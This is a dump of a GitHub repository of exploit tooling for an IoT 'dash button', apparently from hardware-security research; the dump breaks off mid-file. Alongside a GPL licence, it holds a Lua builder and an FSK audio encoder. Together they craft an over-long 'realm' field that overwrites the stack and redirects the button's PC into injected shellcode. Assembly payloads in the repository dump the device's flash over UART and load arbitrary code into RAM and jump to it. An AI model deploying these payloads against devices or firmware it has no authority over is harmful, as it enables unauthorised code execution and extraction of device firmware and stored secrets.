├── .gitignore ├── LICENSE ├── README.md ├── audio_exploit ├── 18130.raw ├── 18620.raw ├── 19110.raw ├── 19600.raw ├── README.md ├── assemble.lua ├── code_upload.s ├── flashdump.s ├── flashdump_directuart.s ├── fsk.c ├── play.sh ├── testcode_flashdump_directuart.s ├── upload.sh └── utils.lua ├── evil_button ├── Makefile ├── dh.c ├── dhcpd.lua ├── httpd.lua └── utils.lua └── samg55_0-3-174.idc /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Binaries 8 | 9 | *.bin 10 | *.raw 11 | 12 | # Precompiled Headers 13 | *.gch 14 | *.pch 15 | 16 | # Libraries 17 | *.lib 18 | *.a 19 | *.la 20 | *.lo 21 | 22 | # Shared objects (inc. Windows DLLs) 23 | *.dll 24 | *.so 25 | *.so.* 26 | *.dylib 27 | 28 | # Executables 29 | *.exe 30 | *.out 31 | *.app 32 | *.i*86 33 | *.x86_64 34 | *.hex 35 | 36 | # Debug files 37 | *.dSYM/ 38 | *.su 39 | 40 | # Binary tools 41 | 42 | audio_exploit/fsk 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # dashbutton 2 | dashbutton analysis & exploit stuff 3 | -------------------------------------------------------------------------------- /audio_exploit/18130.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/znuh/dashbutton/70d52a1791ac1668db1322f7d3c8cd935c7912b6/audio_exploit/18130.raw -------------------------------------------------------------------------------- /audio_exploit/18620.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/znuh/dashbutton/70d52a1791ac1668db1322f7d3c8cd935c7912b6/audio_exploit/18620.raw -------------------------------------------------------------------------------- /audio_exploit/19110.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/znuh/dashbutton/70d52a1791ac1668db1322f7d3c8cd935c7912b6/audio_exploit/19110.raw -------------------------------------------------------------------------------- /audio_exploit/19600.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/znuh/dashbutton/70d52a1791ac1668db1322f7d3c8cd935c7912b6/audio_exploit/19600.raw -------------------------------------------------------------------------------- /audio_exploit/README.md: -------------------------------------------------------------------------------- 1 | # dashbtn 2 | needs arm-none-eabi- toolchain, lua, sox 3 | 4 | You can download a suitable toolchain at 5 | 6 | https://launchpad.net/gcc-arm-embedded 7 | 8 | The payload for the exploit is a tiny chunk of assembler code. 9 | 10 | I assembled it with the gnu assembler arm-none-eabi-as flashdump.s and 11 | dumped it with objdump: arm-none-eabi-objdump -S a.out 12 | Then I copied the opcodes by hand into the lua script flashdump.lua. 13 | This script generates a hex-string from the payload which can be fed 14 | to fsk via stdin. fsk prepends the correct crc and length and outputs 15 | a raw signed int 16 little endian 48kHz audio file. This file can be 16 | played or converted with sox. 17 | 18 | play.sh basically does all the necessary things. 19 | just invoke it with the payload asm file as argument. 20 | example: ./play.sh flashdump.s 21 | 22 | The led of the button stops fading once the payload is executed and 23 | turns off once the flash dump is complete when the button shut down 24 | due to the expiring watchdog. 25 | 26 | The lua script also does another trick: it packs some 32bit words into 27 | the payload so that these words will be on the stack and can be pop'ed 28 | once the code runs. This is done for the uart tx function and some 29 | register locations - e.g. for the watchdog. This trick reduces the 30 | payload size a bit. 31 | 32 | 33 | 34 | There are several payload examples for the exploit available 35 | as asm sources: 36 | 37 | 38 | flashdump.s: 39 | 40 | This is a tiny chunk of code which dumps the flash and then lets 41 | the watchdog expire so the button shuts down afterwards. 42 | 43 | This code uses an existing UART send routine from the original 44 | firmware. 45 | 46 | 47 | flashdump_directuart.s: 48 | 49 | Same functionality as flashdump.s, but directly controls the UART 50 | 51 | 52 | code_upload.s: 53 | 54 | Small program to upload further program code over the UART. 55 | 56 | This program reads exactly 4K of data from the UART and writes the data 57 | into the RAM at address 0x20024000. It then directly jumps to the 58 | base address of the uploaded code. 59 | 60 | The uploaded code should either be linked to upload base address 61 | 0x20024000 or it must be fully relocatable. 62 | 63 | A simple sample code and a helper script to compile and upload the 64 | program code from the host is added as well. 65 | 66 | Call 67 | 68 | ./play.sh code_upload.s 69 | 70 | to upload the exploit code to the dashbutton. As soon as the LED stops 71 | dimming, run 72 | 73 | ./upload.sh testcode_flashdump_directuart 74 | 75 | The sample code then will dump the flash content again. 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /audio_exploit/assemble.lua: -------------------------------------------------------------------------------- 1 | require "utils" 2 | 3 | local chr = string.char 4 | 5 | local realm_start = 0x20020692 -- realm start in pkt buffer 6 | 7 | function load_asmfile(fn) 8 | local prefix = "arm-none-eabi-" 9 | local opcodes, registers = {}, {0, 0, 0, 0, 0} 10 | local fh = io.open(fn,"r") 11 | -- extract register values from assembly comments 12 | for line in fh:lines() do 13 | local reg, val = line:match("//%s*r(%d)%s*=%s*(%w+)") 14 | if reg and val then 15 | reg, val = reg+0, tonumber(val) 16 | --print(type(reg),val) 17 | assert((reg >= 1) and (reg <= 5), "only registers 1..5 supported") 18 | registers[reg] = val 19 | end 20 | end 21 | fh:close() 22 | -- assemble 23 | os.execute("rm -f a.out;"..prefix.."as "..fn) 24 | -- grab hex opcodes from objdump 25 | fh = io.popen(prefix.."objdump -S a.out","r") 26 | for line in fh:lines() do 27 | --print(line) 28 | local oc1, oc2 = line:match("%s*%x+:%s+(%x+)%s(%x*)") 29 | if oc1 then 30 | --print(oc1,oc2) 31 | table.insert(opcodes,oc1) 32 | if #oc2 == 4 then 33 | table.insert(opcodes,oc2) 34 | end 35 | end 36 | end 37 | fh:close() 38 | return opcodes, registers 39 | end 40 | 41 | local opcodes, registers = load_asmfile(arg[1]) 42 | local new_pc = realm_start 43 | 44 | -- turn LED off 45 | --local new_pc = 0x040E8A8 46 | 47 | --local new_pc = 0x20011010 -- after PC on stack 48 | --local new_pc = 0x20020692 -- realm start in pkt buffer 49 | --local new_pc = 0x200206CA -- payload after realm in pkt buffer 50 | 51 | --local ssid = "lX40jB0BWWjwI3UPPLeJVkF9ybfishOR" 52 | --local wifi_pass = "jumpstart" 53 | local ssid = "" 54 | local wifi_pass = "" 55 | local realm = " " -- 16bit align 56 | 57 | -- test 58 | --for i=#realm,26 do -- 26 max value 59 | -- realm = realm.. chr(0x40) 60 | --end 61 | 62 | for i=1,#opcodes do 63 | realm = realm .. string.reverse(packint(tonumber(opcodes[i],16),2)) 64 | end 65 | 66 | assert(#realm <= 26, "exploit code too long - max len: 24 bytes") 67 | 68 | -- pad with 0 to R4+PC on stack 69 | for i=#realm,47 do 70 | realm = realm.. chr(0) 71 | end 72 | 73 | realm = realm..string.reverse(packint(registers[4])) 74 | realm = realm..string.reverse(packint(0x20011011)) -- new pc: take from stack 75 | 76 | -- after PC: room for 24 bytes (6 dwords) 77 | 78 | realm = realm..string.reverse(packint(0xb672,2)) -- cpsid i 79 | realm = realm..string.reverse(packint(0xbd2f,2)) -- pop {r0-r3,r5,pc} 80 | 81 | realm = realm..string.reverse(packint(registers[1])) -- r1 82 | realm = realm..string.reverse(packint(registers[2])) -- r2 83 | realm = realm..string.reverse(packint(registers[3])) -- r3 84 | realm = realm..string.reverse(packint(registers[5])) -- r5 85 | 86 | realm = realm..string.reverse(packint(new_pc+1)) 87 | 88 | -- test 89 | --for i=#realm,80 do 90 | -- realm = realm.. chr(0x40) 91 | --end 92 | 93 | local cc = "" 94 | 95 | local buf = chr(#ssid) .. ssid .. chr(#wifi_pass) .. wifi_pass 96 | 97 | if #realm > 0 then 98 | buf = buf .. chr(#realm) .. realm .. cc 99 | end 100 | 101 | print(tohex(buf)) 102 | -------------------------------------------------------------------------------- /audio_exploit/code_upload.s: -------------------------------------------------------------------------------- 1 | .syntax unified /* use unified assembler syntax */ 2 | .code 16 /* assemble in Thumb-2 (.thumb" can also be used) */ 3 | 4 | /* 5 | register arguments: 6 | R1: RAM address, where the code shall be uploaded to 7 | R2: Code entry point 8 | R3: UART 4 Base address (Control Register) 9 | R4: Code end pointer 10 | R5: Unused 11 | */ 12 | 13 | // r1 = 0x20024000 -- Start of last 16K of common RAM. R1 will be incremented during upload 14 | // r2 = 0x20024001 -- Start of uploaded code (same as the initial value of R1 + 1 to mark THUMB instruction set) 15 | // r3 = 0x4001C200 -- UART 4 CSR -- RHR has a offset of 4 and is located at 0x4001C218. 16 | // r4 = 0x20024FFF -- Code end pointer (4K of code) 17 | // r5 = 0x00000000 -- Unused 18 | 19 | loop: 20 | 21 | wait_rxrdy: 22 | /* send 1 byte */ 23 | /* Loop until CSR Bit 1 is set */ 24 | 25 | LDR R6, [R3, #0x14] // Load CSR to R6 26 | ANDS R6, #1 // Test if RXRDY Bit is set 27 | BEQ wait_rxrdy // Loop until RXRDY is set 28 | 29 | // Load RHR content, store the byte into RAM and increment R1 by one 30 | LDR R7, [R3, #0x18] 31 | STRB.W R7, [R1], #1 32 | 33 | // Loop until we uploaded 4K 34 | CMP R1, R4 35 | BLS loop 36 | 37 | BX R2 // Jump to start of uploaded code 38 | 39 | -------------------------------------------------------------------------------- /audio_exploit/flashdump.s: -------------------------------------------------------------------------------- 1 | .syntax unified /* use unified assembler syntax */ 2 | .code 16 /* assemble in Thumb-2 (.thumb" can also be used) */ 3 | 4 | /* 5 | register arguments: 6 | R1: src ptr 7 | R2: UART base 8 | R3: uart tx function ptr 9 | R4: watchdog dst 10 | R5: watchdog value 11 | */ 12 | 13 | // r1 = 0x400000 -- flash start 14 | // r2 = 0x4001C200 -- UART 4 base 15 | // r3 = 0x0043B03D -- UART TX function ptr (plus 1 due to blx w/ thumb) 16 | // r4 = 0x400E1450 -- watchdog dst 17 | // r5 = 0xA5000001 -- watchdog value 18 | 19 | MOVS R0, R2 20 | MOV R2, #0x1000 21 | 22 | loop: 23 | /* send 1 chunk */ 24 | PUSH {R0-R3} 25 | BLX R3 26 | POP {R0-R3} 27 | 28 | /* ptr += chunk */ 29 | ADDS R1, R2 30 | 31 | /* poke watchdog */ 32 | STR R5, [R4] 33 | 34 | /* check for end of flash */ 35 | MOVS R6, R1, LSR #16 36 | CMP R6, #0x48 37 | BNE loop 38 | 39 | /* let the watchdog expire */ 40 | done: 41 | B done 42 | -------------------------------------------------------------------------------- /audio_exploit/flashdump_directuart.s: -------------------------------------------------------------------------------- 1 | .syntax unified /* use unified assembler syntax */ 2 | .code 16 /* assemble in Thumb-2 (.thumb" can also be used) */ 3 | 4 | /* 5 | register arguments: 6 | R1: src ptr 7 | R2: UART 4 Transmit Holding Register 8 | R3: UART 4 Channel Status Register 9 | R4: watchdog dst 10 | R5: watchdog value 11 | */ 12 | 13 | // r1 = 0x400000 -- flash start 14 | // r2 = 0x4001C21C -- UART 4 THR 15 | // r3 = 0x4001C214 -- UART 4 CSR 16 | // r4 = 0x400E1450 -- watchdog dst 17 | // r5 = 0xA5000001 -- watchdog value 18 | 19 | loop: 20 | 21 | wait_csr: 22 | /* send 1 byte */ 23 | /* Loop until CSR Bit 1 is set */ 24 | 25 | LDR R6, [R3] // Load CSR to R6 26 | TST R6, #2 27 | BEQ wait_csr 28 | 29 | /* Send R1 lowest byte to THR and increment R1 by one */ 30 | 31 | LDRB.W R7, [R1], #1 32 | STRB R7, [R2] 33 | 34 | /* poke watchdog */ 35 | STR R5, [R4] 36 | 37 | /* check for end of flash */ 38 | MOVS R6, R1, LSR #16 39 | CMP R6, #0x48 40 | BNE loop 41 | 42 | /* let the watchdog expire */ 43 | done: 44 | B done 45 | 46 | -------------------------------------------------------------------------------- /audio_exploit/fsk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | static uint16_t crc16(const uint8_t *ptr, int len) { 13 | uint16_t value = 0xffff; 14 | uint8_t b = len; /* crc includes length byte! */ 15 | unsigned int i, cnt=0; 16 | 17 | while ( len >= cnt ) { 18 | uint16_t mask = 0x80; 19 | for ( i = 0; i <= 7; i++ ) { 20 | uint16_t set = value >> 15; 21 | value<<=1; 22 | if ( mask & b ) 23 | ++value; 24 | value ^= 0x1021 * set; 25 | mask >>= 1; 26 | } 27 | b = ptr[cnt++]; 28 | } 29 | return value; 30 | } 31 | 32 | #define SYMBOL_LEN 196 33 | 34 | static int16_t *silence = NULL; 35 | static int silence_len = 26 * SYMBOL_LEN; 36 | 37 | static int16_t carriers[4][SYMBOL_LEN]; 38 | 39 | static void load_carriers(void) { 40 | const char fnames[4][16]={"18130.raw", "18620.raw", "19110.raw", "19600.raw"}; 41 | int i; 42 | 43 | for(i=0;i<4;i++) { 44 | int res, fd = open(fnames[i], O_RDONLY); 45 | assert(fd>=0); 46 | res = read(fd, carriers[i], SYMBOL_LEN * sizeof(int16_t)); 47 | assert(res == (SYMBOL_LEN * sizeof(int16_t))); 48 | close(fd); 49 | } 50 | 51 | silence = malloc(silence_len * sizeof(int16_t)); 52 | memset(silence, 0, silence_len * sizeof(int16_t)); 53 | } 54 | 55 | static void write_symbol(int symbol) { 56 | write(1,carriers[symbol],SYMBOL_LEN * sizeof(int16_t)); 57 | } 58 | 59 | static void write_silence(void) { 60 | write(1,silence,silence_len * sizeof(int16_t)); 61 | } 62 | 63 | static void encode_byte(uint8_t d) { 64 | int i; 65 | //fprintf(stderr,"%02x ",d); 66 | for(i=4;i;i--,d>>=2) { 67 | int symbol = (d&3); 68 | //fprintf(stderr,"%d ",symbol); 69 | write_symbol(symbol); 70 | } 71 | //fputc('\n',stderr); 72 | } 73 | 74 | static void encode(uint8_t *d, int n) { 75 | for(;n;d++,n--) 76 | encode_byte(*d); 77 | } 78 | 79 | static const int preamble[] = {1,0,1,2,3, 0,1,1,2,3, -1}; 80 | 81 | static void write_preamble(void) { 82 | int i; 83 | for(i=0;preamble[i]>=0;i++) 84 | write_symbol(preamble[i]); 85 | } 86 | 87 | static int hexparse(char *d) { 88 | uint8_t *dst = (uint8_t *)d; 89 | int len = 0; 90 | for(;*d >= '0';d+=3,dst++,len++) 91 | *dst = strtoul(d,NULL,16); 92 | return len; 93 | } 94 | 95 | static void hexdump(const uint8_t *d, int n) { 96 | for(;n;n--,d++) 97 | fprintf(stderr,"%02x ",*d); 98 | fputc('\n',stderr); 99 | } 100 | 101 | int main(int argc, char **argv) { 102 | uint8_t inbuf[256]; 103 | int32_t len, i; 104 | 105 | load_carriers(); 106 | 107 | fgets((char*)inbuf+1+2+4, sizeof(inbuf)-1-2-4, stdin); 108 | len = hexparse((char*)inbuf+1+2+4); 109 | 110 | srand(time(NULL)); 111 | i=rand(); 112 | memcpy(inbuf+3,&i,4); 113 | 114 | len+=4; 115 | 116 | i = crc16(inbuf+3,len); 117 | 118 | len+=2; 119 | inbuf[2]=i>>8; 120 | inbuf[1]=i&0xff; 121 | inbuf[0]=len; 122 | 123 | hexdump(inbuf,len+1); 124 | 125 | for(i=0;i<5;i++) { 126 | write_preamble(); 127 | encode(inbuf, len+1); 128 | write_silence(); 129 | } 130 | 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /audio_exploit/play.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ -f "$1" ] 3 | then 4 | gcc -Wall -o fsk fsk.c 5 | lua assemble.lua $1 | ./fsk > $1.raw 6 | play -r 48000 -L -c 1 -t s16 $1.raw 7 | # wav conversion: 8 | #sox -r 48000 -L -c 1 -t s16 $1.raw $1.wav 9 | else 10 | echo "no payload file given" 11 | fi 12 | -------------------------------------------------------------------------------- /audio_exploit/testcode_flashdump_directuart.s: -------------------------------------------------------------------------------- 1 | .syntax unified /* use unified assembler syntax */ 2 | .code 16 /* assemble in Thumb-2 (.thumb" can also be used) */ 3 | 4 | /* 5 | register arguments: 6 | R1: src ptr 7 | R2: UART 4 Transmit Holding Register 8 | R3: UART 4 Channel Status Register 9 | R4: watchdog dst 10 | R5: watchdog value 11 | */ 12 | 13 | // r1 = 0x400000 -- flash start 14 | // r2 = 0x4001C21C -- UART 4 THR 15 | // r3 = 0x4001C214 -- UART 4 CSR 16 | // r4 = 0x400E1450 -- watchdog dst 17 | // r5 = 0xA5000001 -- watchdog value 18 | 19 | LDR R1, =0x400000 20 | LDR R2, =0x4001C21C 21 | LDR R3, =0x4001C214 22 | LDR 